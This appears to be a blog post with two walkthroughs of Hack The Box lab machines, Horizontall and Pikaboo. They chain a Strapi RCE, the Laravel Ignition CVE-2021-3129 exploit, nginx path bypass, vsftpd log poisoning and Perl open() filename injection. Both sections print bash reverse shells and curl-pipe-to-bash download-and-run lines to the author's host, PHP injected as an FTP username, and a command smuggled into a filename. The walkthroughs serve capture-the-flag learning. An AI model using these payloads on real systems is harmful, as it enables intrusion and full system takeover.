Hack The Box: Horizontall

Prelude

Horizontall was an Intermediate linux machine from Hack The Box, developed by wail99. This box was actually a great learning experience for me and it demonstrated a cool vulnerability in Laravel for the privesc vector. For the initial foothold, Horizontall combined basic enumeration techniques and an RCE in Strapi.

Let’s start the exploitation.

Exploitation

I started the exploitation with a Nmap scan.

nmap -sCV -v -oN tcp 10.10.11.105

And I got the following scan result.

# Nmap 7.91 scan initiated Mon Sep 20 17:16:51 2021 as: /usr/bin/nmap -sCV -v -oN tcp 10.10.11.105
Nmap scan report for 10.10.11.105
Host is up (0.053s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I browsed to http://10.10.11.105 and found the following error.

The URL was redirecting to the hostname horizontall.htb.

So, I added an entry for horizontall.htb in my /etc/hosts file and reloaded the page. This time, I got a webpage back.

I started two gobuster instances; one in dir mode and one in vhost mode. After starting the gobuster instances, I began to manually poke around the website.

I found that, there were no active links in the webpage and it was fully rendered using javascript. Also, when I tried to view the source code, I got the following error.

So, I read the source of the javascript and found a new sub-domain api-prod.

Gobuster have also found the subdomain.

I added the subdomain api-prod to my hosts file and went to http://api-prod.horizontall.htb/ and I got the following response.

I started gobuster on this subdomain and found an admin login page.

I went to /admin and found the following login page of Strapi.

Strapi is the an open-source headless CMS, used to create dynamic webpages and APIs.

I searched for Strapi exploit and found a recent RCE vulnerability in Strapi v3.0.0-beta.17.4.

In the exploit, found an endpoint to enumerate strapi version.

So, I navigated to http://api-prod.horizontall.htb/admin/init and confirmed the version of Strapi.

I then used the RCE exploit and got a python web shell back!

This exploit will reset the admin’s password to SuperStrongPassword1 and then uses a code injection vulnerability in installPlugin and uninstallPlugin handler functions for the admin panel to execute code on the target.

Read more about how this vulnerability works from here.

Now that I’ve got a partial webshell, I want to elevate it a full TTY shell.

So, I used bash reverse shell one liner in the web shell to get a reverse shell back.

And I got a shell back as strapi.

Escalating Privileges to Developer ?

I have looked around for some time, but I couldn’t elevate the privileges to the user developer. I then decided to enumerate more and I accidently rooted the box, without getting to user.

I believe the user developer was only meant to gain access to SSH, so that we can forward port easily, since the user.txt flag was readable by everyone.

Shrug GIFs - Get the best GIF on GIPHY
Why waste time on user, when I can just go straight to root?

Escalating Privileges to Root

When looking around the machine, I have found that the machine has port 8000 open to connections from localhost.

I needed to forward that port. So, I skipped escalating to the user developer entirely, by creating a .ssh folder in strapi user’s home directory, i.e., /opt/strapi/ and forwarded the port.

ssh -i auth.key strapi@horizontall.htb -L 8000:127.0.0.1:8000 

And I’ve found a Laravel instance running on port 8000.

Laravel is a free, open-source PHP web framework, intended for the development of web applications.

I did a gobuster on this, but for some reason the SSH connection was unstable and it didn’t let me perform the directory bruteforce.

But, gobuster did find a /profiles directory.

So, I went to http://localhost:8000/profiles and found that Laravel had debugging mode turned on.

So, I searched for Laravel Debug mode exploit ( CVE-2021-3129 ) and found an excellent writeup by Ambionics security.
I found that this exploit is for Laravel versions < 8.4.2.

So, I tried to enumerate the Laravel version and found the Laravel version from the context tab as 8.43.0.

Even though it said the version as 8.43, I decided to test the exploit.

But before that, let me explain what CVE-2021-3129 is.

What is Laravel Debug RCE Exploit?

The vulnerability in Laravel is actually quite simple. It is an insecure use of file_get_contents() and file_put_contents() functions. But the effort, research and cleverness it took to exploit this vulnerability is too high and it is kind of thrilling to read the writeup!

I’ll explain the vulnerability as concisely as possible. But, the writeup from Ambionics Security does a better job at explaining it. Try to read that too.

This exploit also uses the upload progress technique demonstrated by Orange Tsai. That is also an interesting read!

How does the Laravel RCE Exploit Work?

If debug mode is turned on in Laravel < 8.4.2, then it uses an error page generator called Ignition to generate the error. Along with error generation, Ignition also suggests and implement fixes for the generated error, so that the admin can fix the errors with one click as shown in the earlier screenshot. But, Ignition versions <= 2.5.1  uses the functions file_get_contents() and file_put_contents() insecurely for error correction.

Because of this vulnerability, the researchers have managed to clear laravel’s log file, then converted it to a valid PHAR (PHP Archive) file, and used the file to trigger a deserialization to execute arbitrary code in the target.

The steps to exploit this vulnerability is as follows:

  • Created a deserialization payload (PHAR file) using phpggc and encoded it to UTF-16. This encoding is to extract just the payload and skip the rest of the contents from the log file.
  • Clear the Laravel logs, by using Orange Tsai’s upload progress technique and PHP’s undocumented consumed filter.
  • Add padding to the log, for valid UTF16 alignment
  • Create log entry with the payload generated using phpggc
  • Use series of PHP filters to convert the payload to a valid PHAR archive
  • And finally, launch the PHAR deserialization to trigger RCE!

This might sound straight forward enough when listed like this, but the pure cleverness and research went behind creating a valid PHAR archive using different encodings and filters is pretty intricate and I’m pretty flabbergasted by it!

Holy Moly GIF - Jurassic Park Alan Grant Sam Neill - Discover & Share GIFs

Now that the exploit is explained, let’s get back to rooting the box.

There’s a python exploit script provided in the github repo, mentioned in the writeup. The writeup also mentions phpggc (PHP Generic Gadget Chains) for generating the deserialization payload.

So, I cloned both repositories and used the following commands to check the vulnerability.

First, I generated the deserialization payload.

php -d'phar.readonly=0' ../phpggc/phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system id

Then, I passed the PHAR file to the exploit script.

python3 laravel-ignition-rce.py http://127.0.0.1:8000/ /tmp/exploit.phar

And I confimed the vulnerability!

I then created a file named shell.sh with the following reverse shell one liner and hosted it using python http.server.

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.92/9002 0>&1'

Then, I created the deserialization payload using the following command.

php -d'phar.readonly=0' ../phpggc/phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system 'curl 10.10.14.92/shell.sh|bash'

Then, I ran the python script using.

python3 laravel-ignition-rce.py http://127.0.0.1:8000/ /tmp/exploit.phar 

And I got root!

Howard Bigbangtheory GIFs | Tenor
w00t shell dance!

Postlude

And that was Horizontall. This was a great box, with an excellent vulnerability.

Kudos to wail99 for creating this box!

Peace out! ✌️

Hack The Box: Pikaboo

Prelude

Pikaboo is an intermediate machine from Hack The Box, developed by pwnmeow & polarbearer. This was a pretty great box, which follows the same principle as the machine Breadcrumbs, where we have to craft an exploit chain to get the initial foothold and to escalate privileges.

Pikaboo started by exploiting Nginx off-by-slash fail bug and gaining RCE via LFI. Once we are in the machine, there’s a cron job running in the machine that is running as root, which feeds csv files in a directory accessible to ftp users.

We can then use an insecure file opening vulnerability in the perl script and combine the ftp write access to gain a shell back as root.

Let’s start the exploitation.

Exploitation

Nmap returned the following results.

Nmap scan report for 10.10.10.249
Host is up (0.059s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
|   256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_  256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open  http    nginx 1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

I started my enumeration with FTP, but anonymous login was not allowed. So, I directed my enumeration to the website.

I navigated to http://10.10.10.249/ and found the following web page.

I clicked on the admin page, but that page was locked with HTTP basic auth.

I tried default credentials like admin:admin, but they failed.

Without proper credentials, this looks useless

When clicking the poketdex link, It showed me a list of monsters.

There was a link in the name of the monsters, which lead to a PHP file named pokeapi.php, which showed a coming soon page.

Moving on…

But, at this point, I was stuck and there wasn’t anything for me to move on.

So, I tried to take one step back and look at what information we have at hand.

That’s when I noticed an overlooked information in my earlier enumeration.

Nmap reported that port 80 is running the webserver Nginx 1.14.2, but the error showed on /admin authentication showed the server banner as Apache/2.4.38 running at port 81.

This means that nginx is serving the /admin page using Apache at port 81 and nginx is acting as a reverse proxy.

That’s when I remembered about Nginx off-by-slash fail, found by iaklis. We can read more about this from Orange Tsai’s Black Hat paper. (Page 18)

It shows a technique to bypass the access restrictions imposed in nginx, by simply adding two dots in the directory name.

For example, if the directory /admin is specified as an alias to /var/www/admin, then if we request /admin../another-dir, nginx will interpret the location as /var/www/admin/../another-dir; thereby effectively bypass any access restrictions in place.

So, I used gobuster to verify if this is working.

gobuster dir -u http://pikaboo.htb/admin../ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt

And I got the following results.

I navigated to http://10.10.10.249/admin../server-status and found the following page.

It worked!

The server status page showed a request to a page named admin_staging at the top of the log.

So, I navigated to http://10.10.10.249/admin../admin_staging/ and found the following creative-tim dashboard.

I looked around the dashboard and found that different PHP pages are loaded by a get variable named page.

I used ffuf and raft wordlist to find any hidden PHP page and found a page named info.php.

ffuf -c -w $RAFT -u http://10.10.10.249/admin../admin_staging/index.php\?page\=FUZZ.php -fs 15349
Output of ffuf

Link to info.php: http://10.10.10.249/admin../admin_staging/index.php?page=info.php#

Contents of info.php

Info.php was the phpinfo page and reading that, it showed that there are no blacklisted functions that will hinder our exploitation, if we want to execute PHP code.

Neat!

Then, I used ffuf and seclist wordlists to check for LFI.

ffuf -c -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt  -u http://10.10.10.249/admin../admin_staging/index.php\?page\=FUZZ -fs 15349

And I got the following results.

I navigated to http://10.10.10.249/admin../admin_staging/index.php/?page=/var/log/vsftpd.log and found the following log.

It showed me login attempts of users but for security reasons, the password were redacted from the log.

However, I noticed that the log contained both failed and succesful FTP authentication attempts.

Hacktricks have a great article on how to gain RCE via vsftpd log poisoning.

It simply says to send PHP code to execute as the FTP username and include the vftpd log to execute the PHP code.

So, I send the following code as the FTP username.

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.92/9001 0>&1'") ?>

Then started a netcat listener on port 9001 and I requested the following URL.

http://10.10.10.249/admin../admin_staging/index.php/?page=/var/log/vsftpd.log

And I got a shell back as user www-data!

Yay Excited GIF - Yay Excited Woo - Discover & Share GIFs
Yayy!

Privilege Escalation

This machine didn’t require us to escalate privileges to a higher privileged user, before getting to root. Because of this, the user flag was readable to www-data.

To escalate privileges, we have to craft an exploit chain; like we did just now.

I started my local enumeration by running linpeas and found some interesting results.

A directory for pokeapi

I used grep to find any passwords in the directory.

grep -Ri passw . 2>/dev/null

And I’ve found password for LDAP authentication in /opt/pokeapi/config/settings.py.

The credentials for LDAP were binduser:J~42%W?PFHl]g

LDAP port listening on localhost

Also, there were some ldap management tools pre-installed in the box.

So, I used ldapsearch to enumerate LDAP.

I used articles from devconnected and oracle to find the syntax for LDAPsearch.

I used the following syntax to dump general information from LDAP.

ldapsearch -x -h 127.0.0.1 -b 'dc=pikaboo,dc=htb' -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g'

-x : Simple Authentication
-D : Bind Domain Name (DN)
-b : Base DN to search
-h : Target Host
-w : Password

The dump found a user named pwnmeow, on domain ftp.domain.htb and the user’s base64 encoded password.

I decoded the password of pwnmeow as _G0tT4_C4tcH_'3m_4lL!_.

I tried these credentials in SSH and FTP and I got logged into FTP.

I have also found that the FTP root is /srv/ftp.

Further enumeration lead me to two files in /usr/local/bin named csvupdate and csvupdate_cron.


csvupdate_cron was a bash script, which is probably a cron job on the system, that is running as root.
csvupdate_cron looked for files in the subdirectories of /srv/ftp , that is ending with csv , and passing them to the perl script csvupdate. After that, this script will delete all the files in the directory.

Contents of csvupdate_cron

csvupdate is a perl script, that will check the passed csv file for appropriate column count and if the column count in the csv is found to be valid, then the data is appended back to the csv file.
The valid column count is defined inside the perl script.

Combining these information, the attack path is getting clearer.
The directory /srv/ftp is writable only to user root and group ftp.
So, we can write csv files into the sub-directories of /srv/ftp using the FTP credentials of pwnmeow.


Now, we have to find a way to exploit the perl script csvupdate.

Upon inspecting the source code of the perl script, I’ve found that the script uses the function open to load the csv file.
I’ve googled for perl command execution and I’ve came across this website, which mentioned a way to get code execution in perl scripts that uses open function to load files.

The website mentioned that, If the specified filename to a perl script starts with | (pipe), and the perl script uses open function unsafely to open the file, then the rest of the filename will be interpreted as shell command.
This can be used to gain shell command execution on target.

Also, we have to end the name of the file with csv, since csvupdate_cron script looks for files that end with csv.

OS Command injection in perl script’s open() function

The perl script is opening a csv file and checking if the supplied csv file has the right csv field numbers. If the csv file has the right number of fields according to the csv type, then the script will take the contents of the csv file and appends to it.

I created a csv file a.csv in a directory named file with the following contents.

1,2,3

Then renamed the file |curl -L 10.10.14.92|bash;#csv using the following command.

mv a.csv '|curl -L 10.10.14.92|bash;#csv'

This payload will connect to my machine, which is 10.10.14.92, downloads the bash shell script from my machine and feeds the reverse shell to bash.

I ended the filename with csv becasue the script csvupdate_cron looks for filenames that end with csv.
Since we used # before the csv, it won’t be processed by bash.

Now, you might’ve noticed that I haven’t specified the filename of the bash reverse shell payload that I’m hosting. This is because I can’t use the / (Forward Slash) character because it is an invalid character for filename and the url will have a forward slash character, if we specify the filename.
So, to overcome this, I created a simple PHP file that redirects the request to / to our bash reverse shell script.

Content of index.php file

<?php
header("Location: rev.sh"); 
exit();
?>

After creating this file, I created the reverse bash shell payload in a file named rev.sh with the following contents.

Contents of rev.sh

bash -i >& /dev/tcp/10.10.14.92/9001 0>&1

I then placed these two files in a directory named www and started a simple PHP server using the following command.

sudo php -S 0.0.0.0:80

Now, any HTTP request to 10.10.14.92:80 will be forwarded to our bash reverse shell payload.

With everything set, all we have to do is to specify the -L flag in cURL to follow redirection, since cURL by default doesn’t follow redirection. We have already did this in the payload and let’s exploit this vulnerability.

I then logged into the FTP server using user pwnmeow‘s creds. Then changed the remote directory to versions.
Then I changed the local directory to files, where our payload is located using the lcd command.
After that, I started a netcat listener on port 9001 and uploaded the crafted csv file, by issuing the put * command.

And I got a reverse shell as root within seconds!

Cool Kid GIFs - Get the best GIF on GIPHY
w00t!

Postlude

And that was Pikaboo!

An excellent intermediate machine where we have to craft cool exploit chains to solve it!.

Kudos to pwnmeow & polarbearer for creating such an awesome machine!

Peace out! ✌️